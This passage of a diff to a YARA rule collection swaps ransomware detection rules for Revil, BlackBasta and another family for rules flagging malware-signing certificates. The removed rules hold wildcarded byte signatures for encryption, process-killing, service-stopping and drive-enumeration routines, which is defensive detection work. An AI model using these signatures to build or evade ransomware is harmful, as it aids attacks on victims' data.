?? 48 8B 44 24 ?? 48 83 C0 ?? 48 - 89 44 24 ?? 48 8B 44 24 ?? 48 39 44 24 ?? 0F 84 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 - 24 ?? C7 44 24 ?? ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C 24 - ?? E8 ?? ?? ?? ?? 4C 8B C8 45 33 C0 48 8D 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? - ?? ?? 90 48 8B 4C 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 90 - } - $encrypt_files_p2 = { - 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 0F B6 C0 85 C0 0F 84 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? - 85 C0 0F 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 4C 24 - ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B D1 48 8B C8 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 - 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? - ?? ?? 41 B8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B D1 48 8B C8 FF 15 ?? ?? ?? ?? - 85 C0 0F 84 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 90 0F B6 05 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D - 94 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 - 8B 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8B 94 24 ?? ?? - ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? - ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B - C8 FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 74 ?? 48 8D 0D ?? ?? ?? ?? FF - 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 44 8B C0 48 8D 15 - ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 48 - } - $encrypt_files_p3 = { - 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E9 - ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 - 0F B6 05 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 94 24 ?? ?? - ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? - ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 48 8D - 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 41 B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? - ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 74 ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 44 8B C0 48 8D 15 ?? ?? ?? ?? - 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 48 8D 8C 24 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 90 EB ?? 83 7C 24 ?? ?? 74 ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? - 48 8B C8 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 90 E9 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 E9 ?? - ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 - } - $kill_processes = { - 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? 33 D2 B9 - ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? E9 ?? ?? ?? ?? - C7 44 24 ?? ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? - 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 - 44 24 ?? 48 63 44 24 ?? 48 83 F8 ?? 73 ?? 48 63 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 8D - 54 24 ?? 48 8B 0C C1 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 44 8B 44 24 ?? 33 D2 B9 ?? ?? ?? - ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 74 ?? BA ?? ?? ?? ?? 48 8B 4C - 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 EB ?? EB ?? 48 8D 54 24 - ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 - ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? - C3 - } - $stop_services_p1 = { - 40 56 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? ?? ?? - 48 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 41 - B8 ?? ?? ?? ?? 33 D2 33 C9 FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? - E9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24 ?? 48 63 44 - 24 ?? 48 83 F8 ?? 0F 83 ?? ?? ?? ?? 48 63 44 24 ?? 48 8D 0D ?? ?? ?? ?? 41 B8 ?? ?? - ?? ?? 48 8B 14 C1 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? - 0F 84 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 4C 8D 84 - 24 ?? ?? ?? ?? 33 D2 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 BC - 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D - 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 45 33 C9 4C - 8B 44 24 ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 48 89 44 24 - ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8B C1 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 89 - 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? - 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 44 8B 8C 24 ?? ?? ?? ?? 4C 8B 44 24 ?? BA ?? - ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? EB ?? 8B 44 24 ?? FF C0 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 39 44 24 ?? 0F 83 ?? - ?? ?? ?? 8B 44 24 ?? 48 6B C0 ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 8B F9 48 8D 34 02 - } - $stop_services_p2 = { - B9 ?? ?? ?? ?? F3 A4 41 B8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? - ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 0F 84 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? BA ?? - ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 BC 24 ?? ?? ?? ?? ?? 74 ?? - 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 41 - B9 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 33 D2 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 - 74 ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? EB ?? FF 15 ?? ?? ?? ?? 2B 44 24 ?? 3B 44 24 ?? - 76 ?? EB ?? EB ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 E9 ?? ?? ?? ?? FF 15 ?? ?? ?? - ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D - 84 24 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 BC - 24 ?? ?? ?? ?? ?? 74 ?? 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 90 48 8D 84 24 ?? ?? - ?? ?? 48 89 44 24 ?? 41 B9 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 33 D2 48 8B 4C 24 ?? - FF 15 ?? ?? ?? ?? 85 C0 75 ?? EB ?? EB ?? 83 BC 24 ?? ?? ?? ?? ?? 75 ?? EB ?? FF 15 - ?? ?? ?? ?? 2B 44 24 ?? 3B 44 24 ?? 76 ?? EB ?? EB ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? - ?? 90 E9 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? 48 - 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E C3 - } - $find_drives = { - 48 8D 84 24 ?? ?? ?? ?? 48 8B F8 33 C0 B9 ?? ?? ?? ?? F3 AA C7 44 24 ?? ?? ?? ?? ?? - EB ?? 8B 44 24 ?? FF C0 89 44 24 ?? 83 7C 24 ?? ?? 7D ?? 48 63 44 24 ?? 48 8B 4C C4 - ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 63 44 24 ?? 8B 4C 24 ?? 48 8B 44 C4 ?? 48 89 - 84 CC ?? ?? ?? ?? 8B 44 24 ?? FF C0 89 44 24 ?? EB ?? FF 15 ?? ?? ?? ?? 41 B8 ?? ?? - ?? ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 ?? ?? 75 ?? E9 ?? - ?? ?? ?? BA ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 89 44 24 ?? 48 83 7C 24 - ?? ?? 75 ?? FF 15 ?? ?? ?? ?? 4C 8B 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 90 E9 - ?? ?? ?? ?? 83 7C 24 ?? ?? 0F 86 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 8D - 8C 24 ?? ?? ?? ?? 44 8B 44 24 ?? 48 8D 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? - ?? ?? 85 C0 74 ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 7E ?? B8 ?? ?? ?? - ?? 48 6B C0 ?? 48 89 44 24 ?? 48 81 7C 24 ?? ?? ?? ?? ?? 73 ?? EB ?? E8 ?? ?? ?? ?? - 90 33 C0 48 8B 4C 24 ?? 66 89 84 0C ?? ?? 00 00 EB ?? 8B 44 24 ?? FF C8 8B C0 48 8B - 54 24 ?? 48 8B 8C C4 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? FF C8 89 - 44 24 ?? EB ?? EB ?? 41 B8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8B - 44 24 ?? 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 90 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? - ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $encrypt_files_p* ) ) and ( $kill_processes ) and ( all of ( $stop_services_p* ) ) and ( $find_drives ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Qool Aid, LLC" and pe.signatures [ i ] . serial == "79:03:87:01:84:e1:8a:80:89:97:40:84:5a:15:e2:b2" and 1079654400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Revil : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_5Fba9B373F812C16Aef531D4 : INFO FILE { meta: - description = "Yara rule that detects Revil ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "67c2f49e-b9dc-5900-a89d-49ba41088ac3" - date = "2020-06-26" - modified = "2020-07-15" + id = "129e981a-064a-5930-bd45-d03ed008451c" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Revil.yara#L1-L101" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15864-L15880" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "24a79477eb797d7a7121d1248ebbece833ccd256de55729ff96084135ce8d426" + logic_hash = "8b7340359778e3aa56f6ea300973af74eb77efd54108d2ca2b6b8f04d89a1c39" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Revil" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $search_files = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 8B 75 ?? 33 C0 57 8B 7D ?? 8B D8 50 56 89 45 ?? 89 - 5D ?? 89 45 ?? 89 45 ?? FF 57 ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 56 50 E8 ?? - ?? ?? ?? 53 56 FF 77 ?? FF 57 ?? 83 C4 ?? 01 47 ?? 11 57 ?? E9 ?? ?? ?? ?? 8B 45 ?? - 0B 45 ?? 74 ?? FF 33 56 E8 ?? ?? ?? ?? 8B F3 8B 5B ?? 89 5D ?? FF 36 E8 ?? ?? ?? ?? - 56 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 4D ?? 83 C0 ?? 89 45 ?? 83 D1 ?? 0B C1 89 4D - ?? 75 ?? 21 45 ?? 8B 75 ?? 33 C0 40 85 C0 0F 84 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? C7 04 - 24 ?? ?? ?? ?? 56 89 45 ?? E8 ?? ?? ?? ?? 59 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? - ?? ?? 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? - ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8D 04 46 50 E8 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 59 59 - 74 ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 57 ?? 83 C4 ?? 85 - C0 74 ?? 8D 45 ?? 56 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 77 ?? FF 57 ?? 83 - C4 ?? 01 47 ?? 11 57 ?? EB ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 50 89 45 ?? 8D 85 - ?? ?? ?? ?? 53 50 56 FF 57 ?? 83 C4 ?? 85 C0 74 ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 53 50 - 56 FF 77 ?? FF 57 ?? 83 C4 ?? 01 47 ?? 11 57 ?? 83 3F ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 - FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 5D - ?? 83 3F ?? 0F 84 ?? ?? ?? ?? EB ?? 8B F3 8B 5B ?? FF 36 E8 ?? ?? ?? ?? 56 E8 ?? ?? - ?? ?? 59 59 85 DB 75 ?? 5F 5E 5B 8B E5 5D C3 - } - $remote_connection = { - 55 8B EC 81 EC ?? ?? ?? ?? 56 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 F6 33 C0 66 89 85 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 56 56 56 56 50 FF 15 ?? ?? ?? ?? 8B F8 33 C0 89 7D ?? 85 FF 0F 84 ?? ?? - ?? ?? 66 89 45 ?? 33 C9 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 56 FF 75 ?? 41 89 75 ?? - 89 75 ?? 89 75 ?? 89 75 ?? 89 4D ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 75 ?? 89 - 4D ?? 89 75 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? 33 C0 E9 - ?? ?? ?? ?? 8B 4D ?? 33 D2 8B 45 ?? 53 56 66 89 14 41 FF 75 ?? FF 75 ?? 57 FF 15 ?? - ?? ?? ?? 8B D8 89 5D ?? 85 DB 75 ?? 57 EB ?? 8B 45 ?? 66 39 30 75 ?? 6A ?? 59 66 89 - 08 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 - C0 83 7D ?? ?? B9 ?? ?? ?? ?? 66 89 45 ?? 0F 44 C1 0D ?? ?? ?? ?? 50 56 56 56 FF 75 - ?? 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? - FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FE 50 6A ?? 6A ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 45 ?? 56 FF 75 ?? 8D 85 - ?? ?? ?? ?? FF 75 ?? FF 75 ?? 6A ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? ?? - ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 53 FF 15 ?? ?? - ?? ?? 85 C0 6A ?? 58 0F 45 F8 85 FF 75 ?? 8B 45 ?? 56 53 89 30 FF 15 ?? ?? ?? ?? 8B - 7D ?? 85 C0 74 ?? 56 8D 45 ?? 89 75 ?? 50 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 56 68 ?? - ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? F7 D8 1B C0 23 45 ?? 89 01 3D ?? ?? ?? ?? 75 - ?? FF 75 ?? 53 E8 ?? ?? ?? ?? 59 59 8B F0 57 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? - ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C6 5B 5F 5E 8B E5 5D C3 - } - $encrypt_files = { - 55 8B EC 51 83 7D ?? ?? 53 56 57 BB ?? ?? ?? ?? 7F ?? 7C ?? 39 5D ?? 73 ?? 8B 5D ?? - 8B 7D ?? 8D 83 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 59 59 EB ?? E8 ?? ?? ?? ?? 83 F8 ?? - 75 ?? 6A ?? E8 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 - F6 74 ?? 89 9E ?? ?? ?? ?? 8B 5D ?? C7 45 ?? ?? ?? ?? ?? EB ?? 33 C0 EB ?? E8 ?? ?? - ?? ?? 8B 55 ?? 8B CA 4A 89 55 ?? 85 C9 74 ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 83 - F8 ?? 74 ?? A8 ?? 74 ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 56 E8 ?? - ?? ?? ?? 8B C6 59 5F 5E 5B 8B E5 5D C3 56 57 E8 ?? ?? ?? ?? 59 33 C0 EB - } - $enum_resources = { - 55 8B EC 83 EC ?? 8D 45 ?? 50 FF 75 ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 - ?? 33 C0 E9 ?? ?? ?? ?? 83 4D ?? ?? B8 ?? ?? ?? ?? 57 50 89 45 ?? E8 ?? ?? ?? ?? 8B - F8 59 85 FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 EB ?? 53 56 8D 45 ?? 50 57 8D 45 - ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? 33 DB 39 5D ?? 76 ?? 8D 77 ?? - 83 7E ?? ?? 75 ?? FF 75 ?? FF 36 E8 ?? ?? ?? ?? 59 59 F6 46 ?? ?? 74 ?? 8D 46 ?? 50 - FF 75 ?? E8 ?? ?? ?? ?? 59 59 43 83 C6 ?? 3B 5D ?? 72 ?? 8B 45 ?? 3D ?? ?? ?? ?? 75 - ?? 57 E8 ?? ?? ?? ?? 59 FF 75 ?? FF 15 ?? ?? ?? ?? F7 D8 5E 1B C0 40 5B 5F 8B E5 5D - C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_resources ) and ( $search_files ) and ( $encrypt_files ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIG JOURNEY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "5f:ba:9b:37:3f:81:2c:16:ae:f5:31:d4" and 1473329076 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win64_Ransomware_Blackbasta : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_616A5205238590B01D7B761E444E4Ad9 : INFO FILE { meta: - description = "Yara rule that detects BlackBasta ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7a4ad567-0612-5a9c-8a06-4d615bc7e24a" - date = "2022-12-13" - modified = "2022-12-13" + id = "09e9e481-c767-53d3-9af1-11dec636cafb" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.BlackBasta.yara#L1-L293" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15882-L15898" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "79c81a4470e9eabbd714b1a91621c7b2bbe42d5371ba2c799529662d5f5c479a" + logic_hash = "463ccd3ace9021569a7a6d5fcbaadf34b15d2b07baf3df526b271b547cf2bbc5" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "BlackBasta" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 44 8B C9 EB ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 44 38 - 75 ?? 74 ?? 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? EB ?? 44 38 75 ?? - 74 ?? 48 8B 44 24 ?? 83 A0 ?? ?? ?? ?? ?? 45 8B CE 4C 8D 44 24 ?? 48 8B CF 48 8D 54 - 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 4C 8D 45 ?? 85 C0 44 89 74 24 ?? 4C 89 74 24 ?? - 49 0F 45 CE 45 33 C9 33 D2 FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 4D 8B CC 45 - 33 C0 33 D2 48 8B CF E8 ?? ?? ?? ?? 8B D8 44 38 74 24 ?? 74 ?? 48 8B 4C 24 ?? E8 ?? - ?? ?? ?? 8B C3 E9 ?? ?? ?? ?? 49 8B 74 24 ?? 49 2B 34 24 48 C1 FE ?? 33 D2 4C 89 75 - ?? 48 8D 4D ?? 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 44 88 75 ?? E8 ?? ?? - ?? ?? 48 8B 45 ?? B9 ?? ?? ?? ?? 39 48 ?? 75 ?? 44 38 75 ?? 74 ?? 48 8B 45 ?? 83 A0 - ?? ?? ?? ?? ?? 44 8B C9 EB ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 44 38 75 ?? 74 ?? 48 8B 45 - ?? 83 A0 ?? ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? EB ?? 44 38 75 ?? 74 ?? 48 8B 45 ?? 83 A0 - ?? ?? ?? ?? ?? 45 8B CE 4C 8D 44 24 ?? 48 8D 55 ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 4C 8B - 75 ?? 33 D2 85 C0 49 8B CE 48 0F 45 CA 80 39 ?? 75 ?? 8A 41 ?? 84 C0 75 ?? 38 55 ?? - 74 ?? 49 8B CE E8 ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 38 51 ?? 74 ?? 4D 8B CC 4D 8B C5 48 - 8B D7 E8 ?? ?? ?? ?? 44 8B E8 85 C0 75 ?? 38 45 ?? 74 